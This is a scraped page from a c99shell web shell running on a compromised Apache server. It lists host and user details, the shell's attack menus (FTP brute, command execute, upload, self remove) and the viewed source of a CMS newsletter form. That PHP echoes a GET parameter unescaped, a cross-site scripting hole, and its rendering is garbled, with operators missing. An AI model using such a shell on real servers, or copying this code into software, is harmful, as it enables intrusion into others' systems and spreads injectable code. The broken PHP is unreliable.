!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/site/ipanel/view/   drwxr-xr-x
Free 9.41 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     formInformativoNoticia.php (6.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
/* * ***************************************************************************************************
 *                                                                                                    *
 *                              Arquivo de Controle Geral                                             *
 *                            Desenvolvido por Agência Studio iMAXIS                                  *
 *                                                                                                    *
 * *************************************************************************************************** */

if (!class_exists('Data'))
    require_once(
APP_PATH "/util/Data.php");
if (!
class_exists('Util'))
    require_once(
APP_PATH "/util/Util.php");
$data = new Data();
$util = new Util();
$informativoCtrl = new GenericCtrl("Informativo");
$informativo $informativoCtrl->getObject($_GET['infId']);
?>
<script type="text/javascript">
    function addNoticia(id, titulo){
        var div = '<div id="noticia_'+id+'" style="background-color:#F3F3F3; margin-bottom:5px; width:700px; height:25px; text-align:left; padding:3px">';
        div+= '  <input type="hidden" name="noticia[]" value="'+id+'"/>';
        div+= '  <div style="width:650px; float:left">'+titulo+'</div>';
        div+= '  <div style="width:20px; float:left">';
        div+= '      <a href="javascript:;" onClick="removeNoticia('+id+')">';
        div+= '      <img src="img/delFoto.png"/>';
        div+= '      </a>';
        div+= '   </div>';
        div+= '   <div class="clear"></div>';
        div+= '</div>';
      //  var html = document.getElementById('listaNoticias').
        $('#listaNoticias').append(div);
    }
    
    function removeNoticia(id){
        $('#noticia_'+id).remove();
    }
    
    function setAction(action){
        $("#action").val(action);
        var status = true;
        if(action == "Teste"){
            status = false;
            $("#emailTeste").show(100);
            $("#btEnviarTeste").show(100);
        }
        
        if(action == "EnvioTeste" && $("emailTeste").val() == ""){
            alert("Favor especificar o email para teste!");
            status = false;
            document.formreg.emailTeste.focus();
            return false;
        }
        
        if(status){
            document.formreg.submit();
        } 
    }
</script>
<div class="lt" style="padding-bottom:0px!important;">
    <div class="lt_topo">
        <div class="lt_menu_topo form_top">
            <h1>Informativo</h1>
            <ul>
                Área de seleção de notícias para envio.
                <div class="clear"></div>
            </ul>
            <div class="clear"></div>
        </div>
    </div>

    <div class="stage_formulario">
        <form action="../app/cms/processaInformativo.php" enctype="multipart/form-data" method="post" name="formreg" id="formreg">
            <input type="hidden" name="infId" id="infId" value="<?=  $_GET['infId'?>" />
            <input type="hidden" name="action" id="action"/>

            <div class="box_forms">
                <div class="title_forms">
                    <span class="sptl"> 
                     Informativo: <strong><?=  $informativo['numero'?></strong> de <strong><?=  $data->convertDateSQLToDateBR($informativo['dtCadastro']) ?></strong> <br/>
                     Selecione as notícias desejadas, bem como a ação a ser executada.
                </span>
                    <br/><br/>
                    <a title="Listar Registros" href="?lc=<?=  $this->getArea() ?>&md=Lista<?=  $this->getParameters($_GET?>" class="bt_azul">Retornar a Lista</a>
                </div>

                <!-- INICIO FORM -->

                <div class="inputs_form"> 
                    <div class="clear">
                            <a href="frameNoticia.php" rel="lyteframe" rev="width: 900px; height: 500px; scrolling: auto;" title="Selecionar Notícias">
                                <img src="img/ico_seleciona_news.png" />
                            </a> 
                    </div>
                </div>
                </div>
                <div id="listaNoticias"> 
                <? foreach($informativo['noticias'] as $noticia){ ?>
                    <div id="noticia_<?=  $noticia['notId']?>" style="background-color:#F3F3F3; margin-bottom:5px; width:700px; height:25px; text-align:left; padding:3px">
                        <input type="hidden" name="noticia[]" value="<?=  $noticia['notId']?>"/>
                        <div style="width:650px; float:left"><?=  $noticia['noticia']['titulo']?></div>
                        <div style="width:20px; float:left">
                            <a href="javascript:;" onClick="removeNoticia(<?=  $noticia['notId']?>)">
                            <img src="img/delFoto.png"/>
                            </a>
                        </div>
                         <div class="clear"></div>
                      </div>
                <?php ?>
                
                </div>
                
                <div class="clear">
                    <p class="left">
                        <input name="Finalizar" type="Button" class="bt_input" value="Finalizar e Enviar" onclick="setAction('Finalizar')" style="float:left; margin-right:5px"/>
                        <input name="Rascunho" type="Button" class="bt_input" value="Salvar sem Enviar" onclick="setAction('Rascunho')" style="float:left; margin-right:5px"/>
                        <input name="Finalizar" type="Button" class="bt_input" value="Enviar para o email de teste" onclick="setAction('Teste')" style="float:left; margin-right:5px"/>
                        <input name="emailTeste" type="text" id="emailTeste" placeholder="Informe o email" style="float:left; margin-right:5px; display:none"/><input name="Enviar" id="btEnviarTeste" type="Button" class="bt_input" value="Enviar" onclick="setAction('EnvioTeste')"  style="float:left; display:none"/>
                    </p>
                </div>
            </div>
        </form>
    </div>
    
    <div class="clear"></div>
</div>
<span class="stcl"></span> <span class="stcr"></span>
<div class="clear"></div>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0045 ]--